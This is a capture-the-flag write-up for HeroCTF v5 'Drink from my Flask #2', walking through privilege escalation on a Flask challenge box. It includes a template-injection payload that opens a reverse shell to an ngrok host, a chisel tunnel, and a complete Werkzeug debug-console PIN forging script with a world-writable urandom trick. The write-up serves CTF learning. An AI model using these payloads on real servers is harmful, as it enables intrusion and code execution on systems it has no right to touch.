# Drink from my Flask#2

## Background

Great job, you got acces to the machine ! But our dev has been working on an
update. Can you leverage that to elevate your privileges ?  
  
Format : **Hero{flag}**  
Author : **Log_s**  
  
NB: This challenge is a sequel to Drink from my Flask #1. Start the same
machine and continue from there.

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513221205.png)

## Enumeration

**Remote Code Execute (RCE) via Server-Side Template Injection (SSTI) payload
from "Drink from my Flask#1":** (Writeup:
[https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-
Flask-1/](https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-
Flask-1/))

\- Setup a port forwarding service like Ngrok:

```shell  
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-
Flask#2)-[2023.05.13|22:13:16(HKT)]  
└> ngrok tcp 4444  
[...]  
Forwarding tcp://0.tcp.ap.ngrok.io:15516 -> localhost:4444  
[...]  
```

\- Setup a `nc` listener:

```shell  
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-
Flask#2)-[2023.05.13|22:19:07(HKT)]  
└> nc -lnvp 4444  
listening on [any] 4444 ...  
```

\- Send the reverse shell payload:

```python  
{{
self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\"python3
-c 'import
os,pty,socket;s=socket.socket();s.connect((\\\\\"0.tcp.ap.ngrok.io\\\\\",15516));[os.dup2(s.fileno(),f)for
f in(0,1,2)];pty.spawn(\\\\\"/bin/bash\\\\\")'\").read() }}  
```

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513222858.png)

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513222905.png)

```shell  
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-
Flask#2)-[2023.05.13|22:28:03(HKT)]  
└> nc -lnvp 4444  
listening on [any] 4444 ...  
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47154  
www-data@flask:~/app$ whoami;hostname;id  
whoami;hostname;id  
www-data  
flask  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@flask:~/app$  
```

I'm `www-data`!

Now, let's enumerate the system!

**System users:**  
```shell  
www-data@flask:~/app$ cat /etc/passwd | grep /bin/bash  
cat /etc/passwd | grep /bin/bash  
root:x:0:0:root:/root:/bin/bash  
flaskdev:x:1000:1000:,,,:/home/flaskdev:/bin/bash  
www-data@flask:~/app$ ls -lah /home  
ls -lah /home  
total 12K  
drwxr-xr-x 1 root root 4.0K May 13 03:17 .  
drwxr-xr-x 1 root root 4.0K May 13 14:13 ..  
drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 flaskdev  
```

\- System user: `flaskdev`

**Let's dig deeper into that user!**  
```shell  
www-data@flask:~/app$ ls -lah /home/flaskdev/  
ls -lah /home/flaskdev/  
total 28K  
drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 .  
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..  
lrwxrwxrwx 1 root root 9 May 13 03:17 .bash_history -> /dev/null  
-rw-r--r-- 1 flaskdev flaskdev 220 May 13 03:17 .bash_logout  
-rw-r--r-- 1 flaskdev flaskdev 3.7K May 13 03:17 .bashrc  
-rw-r--r-- 1 flaskdev flaskdev 807 May 13 03:17 .profile  
-r-------- 1 flaskdev flaskdev 31 May 13 03:17 flag.txt  
-rwxr-xr-x 1 root root 219 May 12 10:17 reboot_flask.sh  
```

In that user's home directory, it has `flag.txt`, `reboot_flask.sh`.

**`reboot_flask.sh`:**  
```sh  
if [ `ps -aux | grep -E ".*/usr/bin/python3 /var/www/dev/app.py" | wc -l` != "2" ]  
then  
pkill python3 -U 1000  
/usr/bin/python3 /var/www/dev/app.py # This dev app is not exposed, it's ok to
run it as myself  
fi  
```

This script will check the process of `/var/www/dev/app.py` is running or not.

If it's not running, then kill it's process and run `/usr/bin/python3
/var/www/dev/app.py`.

**`/var/www/dev/app.py`:**  
```python  
from flask import Flask, Request, Response, make_response  
from flask import request, render_template_string  
import argparse  
import jwt  
import werkzeug

parser = argparse.ArgumentParser()  
parser.add_argument("--port", help="Port on which to run the server",
required=False, type=int, default=5000)

app = Flask(__name__)

class middleware():  
def __init__(self, app):  
self.app = app

def __call__(self, environ, start_response):  
request = Request(environ)

# Check for potential payloads in GET params  
for key, value in request.args.items():  
if len(value) > 50:  
res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)  
return res(environ, start_response)

# Check for potential payloads in route  
if len(request.path) > 50:  
res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)  
return res(environ, start_response)  
  
return self.app(environ, start_response)

app.wsgi_app = middleware(app.wsgi_app)

def add(a, b):  
return a + b  
def substract(a, b):  
return a - b  
def multiply(a, b):  
return a * b  
def divide(a, b):  
if b < 0:  
return "Error: Division by zero"  
return a / b

operations = {  
"add": add,  
"substract": substract,  
"multiply": multiply,  
"divide": divide  
}

def generateGuestToken():  
return jwt.encode({"role": "guest"}, key="key", algorithm="HS256")

@app.route("/")  
def calculate():  
token = request.cookies.get('token')  
if token is None:  
token = generateGuestToken()  
try:  
decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])  
decodedToken.get('role')  
except:  
token = generateGuestToken()

# Check if operation is valid to avoid crashes !  
op = request.args.get('op')  
if op not in ["add", "substract", "multiply", "divide"]:  
resp = make_response("<h2>Invalid operation</h2>  

Example: /?op=substract&n1=5&n2=2

")  
resp.set_cookie('token', token)  
return resp  
  
n1 = request.args.get('n1')  
n2 = request.args.get('n2')  
# Check if n1 and n2 are numbers, and prevent crashes ahah !  
try:  
n1 = int(n1)  
n2 = int(n2)  
except:  
return "<h2>Invalid number</h2>"

result = operations[op](n1, n2)

resp = make_response(render_template_string(render_template_string("""  
<h2>Result: {{ result }}</h2>  
""", result=result)))

resp.set_cookie('token', token)

return resp

@app.route("/adminPage")  
def admin():

# Get JWT token from cookies  
token = request.cookies.get('token')

# Decode JWT token  
try:  
decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])  
except:  
return render_template_string("<h2>Invalid token</h2>"), 403  
  
# Get role  
role = decodedToken.get('role')  
if role is None:  
return render_template_string("<h2>Invalid token</h2>"), 403

if role == "admin":  
return render_template_string("Welcome admin !"), 200

return render_template_string("Sorry but you can't access this page, you're a
'{role}'", role=role), 403

@app.errorhandler(werkzeug.exceptions.BadRequest)  
def handle_page_not_found(e):  
return render_template_string("<h2>{page} was not found</h2>  

Only routes / and /adminPage are available

", page=request.path), 404

app.register_error_handler(404, handle_page_not_found)

app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0",
port=parser.parse_args().port)  
```

**Since I want a stable shell and transfering files between my VM and the
instance machine, I'll switch to [`pwncat-
cs`](https://github.com/calebstewart/pwncat):**  
```shell  
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-
Flask#2)-[2023.05.13|22:49:10(HKT)]  
└> pwncat-cs -lp 4444  
/home/siunam/.local/lib/python3.11/site-packages/paramiko/transport.py:178:
CryptographyDeprecationWarning: Blowfish has been deprecated  
'class': algorithms.Blowfish,  
[22:49:11] Welcome to pwncat ?! __main__.py:164  
[22:50:01] received connection from 127.0.0.1:35986 bind.py:84  
[22:50:05] localhost:35986: registered new host w/ db manager.py:957  
(local) pwncat$  
(remote) www-data@flask:/var/www/app$ whoami;hostname;id  
www-data  
flask  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
(remote) www-data@flask:/var/www/app$  
```

**Now, we can upload the `pspy` binary, which list out all the running
processes:**  
```shell  
(local) pwncat$ upload /opt/pspy/pspy64 /tmp/pspy64  
/tmp/pspy64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% •
3.1/3.1 MB • 3.5 MB/s • 0:00:00  
[22:52:14] uploaded 3.08MiB in 5.77 seconds upload.py:76  
(local) pwncat$  
(remote) www-data@flask:/var/www/app$ chmod +x /tmp/pspy64  
(remote) www-data@flask:/var/www/app$ /tmp/pspy64  
[...]  
2023/05/13 14:53:01 CMD: UID=0 PID=496 | CRON -f   
2023/05/13 14:53:01 CMD: UID=0 PID=497 | CRON -f   
2023/05/13 14:53:01 CMD: UID=1000 PID=498 | /bin/sh /home/flaskdev/reboot_flask.sh   
2023/05/13 14:53:01 CMD: UID=1000 PID=501 | grep -E .*/usr/bin/python3 /var/www/dev/app.py   
2023/05/13 14:53:01 CMD: UID=1000 PID=500 | ps -aux   
2023/05/13 14:53:01 CMD: UID=1000 PID=499 | /bin/sh /home/flaskdev/reboot_flask.sh   
2023/05/13 14:53:01 CMD: UID=1000 PID=502 | wc -l   
2023/05/13 14:54:01 CMD: UID=0 PID=503 | CRON -f   
2023/05/13 14:54:01 CMD: UID=1000 PID=504 | CRON -f   
2023/05/13 14:54:01 CMD: UID=1000 PID=505 | /bin/sh /home/flaskdev/reboot_flask.sh   
2023/05/13 14:54:01 CMD: UID=1000 PID=506 | /bin/sh /home/flaskdev/reboot_flask.sh   
2023/05/13 14:54:01 CMD: UID=1000 PID=509 | wc -l   
2023/05/13 14:54:01 CMD: UID=1000 PID=508 | grep -E .*/usr/bin/python3 /var/www/dev/app.py   
2023/05/13 14:54:01 CMD: UID=1000 PID=507 | ps -aux  
```

As you can see, every minute a cronjob will be ran, which executes `/bin/sh
/home/flaskdev/reboot_flask.sh`.

**Now, which port is the development version of the web application is
running?**

**Since `netstat`, `ss` doesn't exist on the instance machine, I'll upload
`netstat` to there:**  
```shell  
(local) pwncat$ upload /usr/bin/netstat /tmp/netstat  
/tmp/netstat ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% •
155.3/155.3 KB • ? • 0:00:00  
[22:55:37] uploaded 155.30KiB in 2.91 seconds upload.py:76  
(local) pwncat$  
(remote) www-data@flask:/var/www/app$ chmod +x /tmp/netstat  
(remote) www-data@flask:/var/www/app$ /tmp/netstat -tunlp  
(Not all processes could be identified, non-owned process info  
will not be shown, you would have to be root to see it all.)  
Active Internet connections (only servers)  
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name  
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 9/python3  
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -  
tcp 0 0 127.0.0.11:41449 0.0.0.0:* LISTEN -  
udp 0 0 127.0.0.11:47134 0.0.0.0:* -  
```

As you can see, **the development one is running on port 5000**.

```shell  
(remote) www-data@flask:/var/www/app$ curl http://localhost:5000/  
<h2>Invalid operation</h2>  

Example: /?op=substract&n1=5&n2=2

  
```

**Let's compare the production one and the development one:**  
```diff  
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-
Flask#2)-[2023.05.13|23:02:30(HKT)]  
└> diff dev_app.py prod_app.py  
24c24  
< if len(value) > 50:  
\---  
> if len(value) > 35: # 40 would be enough, but you never know, hein poda  
29c29  
< if len(request.path) > 50:  
\---  
> if len(request.path) > 35:  
117c117  
< return render_template_string("Sorry but you can't access this page, you're
a '{role}'", role=role), 403  
\---  
> return render_template_string("Sorry but you can't access this page, you're
> a '{}'".format(role)), 403  
122c122,123  
< return render_template_string("<h2>{page} was not found</h2>  

Only routes / and /adminPage are available

", page=request.path), 404  
\---  
> html = "<h2>{page} was not found</h2>  

Only routes / and /adminPage are available

".format(page=request.path)  
> return render_template_string(html), 404  
127c128  
< app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0",
port=parser.parse_args().port)  
\ No newline at end of file  
\---  
> app.run(host="0.0.0.0", port=parser.parse_args().port, debug=False,
> use_reloader=False)  
\ No newline at end of file  
```

**In the production one's SSTI exploit, it's fixed on the `/adminPage`, as the
`role` will just render `{role}`.**  
```shell  
(remote) www-data@flask:/var/www/app$ curl -i -s -k -X $'GET' \  
> -H $'Host: localhost:5000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64;
> rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept:
> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'
> -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
> -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \  
> -b
> $'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgc2VsZi5fVGVtcGxhdGVSZWZlcmVuY2VfX2NvbnRleHQuY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdpZCcpLnJlYWQoKSB9fSJ9.Ex_wow2iHjH97TNLAr0V-iO25-bnWc-
> prB3Bkw-KMDw' \  
> $'http://localhost:5000/adminPage'  
HTTP/1.1 403 FORBIDDEN  
Server: Werkzeug/2.3.4 Python/3.10.6  
Date: Sat, 13 May 2023 15:09:54 GMT  
Content-Type: text/html; charset=utf-8  
Content-Length: 55  
Connection: close

Sorry but you can't access this page, you're a '{role}'  
```

To access the development one, we must need to do port forwarding.

**To do so, I'll use `chisel`:**  
```shell  
(local) pwncat$ upload /opt/chisel/chiselx64  
./chiselx64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% •
8.1/8.1 MB • 3.3 MB/s • 0:00:00  
[23:30:16] uploaded 8.08MiB in 9.85 seconds upload.py:76  
(local) pwncat$  
(remote) www-data@flask:/tmp$ chmod +x chiselx64  
```

**Reverse port fowarding in server:**  
```shell  
┌[siunam♥earth]-(/opt/chisel)-[2023.05.13|23:33:20(HKT)]  
└> ./chiselx64 server -p 4444 --reverse  
2023/05/13 23:33:23 server: Reverse tunnelling enabled  
2023/05/13 23:33:23 server: Fingerprint
e64LBwv+C0Ou8eG0p91ZpOmnV58zy7yJQ+QVSwfpDgI=  
2023/05/13 23:33:23 server: Listening on http://0.0.0.0:4444  
```

**Connect to the server from the client:**  
```shell  
(remote) www-data@flask:/tmp$ ./chiselx64 client 0.tcp.ap.ngrok.io:18937
R:5001:127.0.0.1:5000&  
[1] 106  
2023/05/13 15:47:59 client: Connecting to ws://0.tcp.ap.ngrok.io:18937  
```

**Now we can visit the development one in `localhost:5001`:**

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513233530.png)

**After some testing, the 404 and admin page doesn't vulnerable to SSTI
anymore:**

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513233708.png)

Hmm... How can we escalate our privilege to user `flaskdev`...

**In the development one, the `debug` mode is set to `True`!**

**In Flask, if debug mode is enabled, anyone can go to `/console`!**

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513234845.png)

***This console page can execute any Python code!!***

**Although it's being locked by the PIN code, we can bypass that!**

In KnightCTF 2023, I wrote a writeup for a web challenge called "Knight
Search": [https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-
Search/](https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-
Search/).

In that writeup, I mentioned how to bypass the PIN code.

**Boot ID:**  
```shell  
(remote) www-data@flask:/tmp$ cat /etc/machine-id  
68f432c96a6d45f585a019af1ad31fc2  
```

**MAC address:**  
```shell  
(remote) www-data@flask:/tmp$ cat /sys/class/net/eth0/address  
02:42:0a:63:64:02  
```

**Final public and private bits:**

\- Public bits:  
\- username: `flaskdev`  
\- modname: `flask.app`  
\- `Flask`  
\- The absolute path of `app.py` in the flask directory:
`/usr/local/lib/python3.10/dist-packages/flask/app.py` (You can find this by
triggering `ZeroDivisionError` via `/?op=divide&n1=0&n2=0`)  
\- Private bits:  
\- MAC address: `2482665382914`  
\- Machine ID: `68f432c96a6d45f585a019af1ad31fc2`

```py  
#!/bin/python3  
import hashlib  
from itertools import chain

probably_public_bits = [  
'flaskdev',# username  
'flask.app',# modname  
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))  
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod,
'__file__', None),  
]

private_bits = [  
'2482665382914',# str(uuid.getnode()), /sys/class/net/ens33/address  
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id +
/proc/self/cgroup  
'68f432c96a6d45f585a019af1ad31fc2'  
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5  
for bit in chain(probably_public_bits, private_bits):  
if not bit:  
continue  
if isinstance(bit, str):  
bit = bit.encode('utf-8')  
h.update(bit)  
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None  
if num is None:  
h.update(b'pinsalt')  
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None  
if rv is None:  
for group_size in 5, 4, 3:  
if len(num) % group_size == 0:  
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')  
for x in range(0, len(num), group_size))  
break  
else:  
rv = num

print("Pin: " + rv)  
```

However, it still doesn't work...

**In `/var/www`, I noticed something weird:**  
```shell  
(remote) www-data@flask:/var/www$ ls -lah  
total 20K  
drwxr-xr-x 1 root root 4.0K May 13 03:17 .  
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..  
drwxr-xr-x 1 root root 4.0K May 13 03:17 app  
drwxrwxrwx 1 root root 4.0K May 13 03:17 config  
drwxr-xr-x 1 root root 4.0K May 13 03:17 dev  
```

The `config` directory is world-writable/readable/executable.

```shell  
(remote) www-data@flask:/var/www$ ls -lah config/  
total 8.0K  
drwxrwxrwx 1 root root 4.0K May 13 03:17 .  
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..  
lrwxrwxrwx 1 root root 12 May 13 03:17 urandom -> /dev/urandom  
```

Inside that directory, it has a symbolic link (symlink) file pointing to
`/dev/urandom`.

What can we do with that...

## Exploitation

**Then, I opened a ticket just to confirm the Werkzeug Debug Console is the
right track or not:**

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514202551.png)

So, 100% sure it's about Werkzeug Debug Console PIN code bypass...

**Hmm... Let's read through the generating PIN code source code:**  
```shell  
(remote) www-data@flask:/var/www/app$  
(local) pwncat$ download /usr/local/lib/python3.10/dist-
packages/werkzeug/debug/__init__.py  
```

**Then, around reading through it...**  
```python  
private_bits = [  
str(uuid.getnode()),  
get_machine_id(),  
open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO
PREVENT PIN FORGING  
]  
```

**`/var/www/config/urandom`????**

That makes a lot more sense why the symlink `urandom` file exists!

The above modifiied `private_bits` not only getting the MAC address of the
machine and machine ID, **but also 16 bytes from `/var/www/config/urandom`!**

**Now, since the directory `/var/www/config/` is world-writable, we can just
modify it!**  
```shell  
(remote) www-data@flask:/var/www/app$ cd /var/www/config/  
(remote) www-data@flask:/var/www/config$ mv urandom urandom.bak  
(remote) www-data@flask:/var/www/config$ vi urandom  
(remote) www-data@flask:/var/www/config$ cat urandom  
AAAAAAAAAAAAAAAA  
```

The modified `/var/www/config/urandom` now consists 16's A character!

**Now, the correct private bits is!**  
```python  
private_bits = [  
'2482665383426',# str(uuid.getnode()), /sys/class/net/ens33/address  
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id +
/proc/self/cgroup  
'97752bf5a62a4e9588a4aa4ccf85660f',  
'AAAAAAAAAAAAAAAA'  
]  
```

> Note: The MAC address and machine ID is changed because of different
> instance machine.

```shell  
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-
Flask#2)-[2023.05.14|20:51:07(HKT)]  
└> python3 werkzeug-pin-bypass.py  
Pin: 103-934-238  
```

Fingers crossed!

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514205727.png)

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514205736.png)

Let's go!!!

**We can now read user `flaskdev`'s flag!**  
```python  
import os  
os.popen('id').read()  
os.popen('cat /home/flaskdev/flag.txt').read()  
```

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514205832.png)

\- **Flag: `Hero{n0t_s0_Urandom_4ft3r_4ll}`**

## Conclusion

What we've learned:

1\. Werkzeug Debug Console PIN Code Bypass With Extra Hardening  
2\. Horizontal Privilege Escalation Via Werkzeug Debug Console

Original writeup (https://siunam321.github.io/ctf/HeroCTF-v5/System/Drink-
from-my-Flask-2/).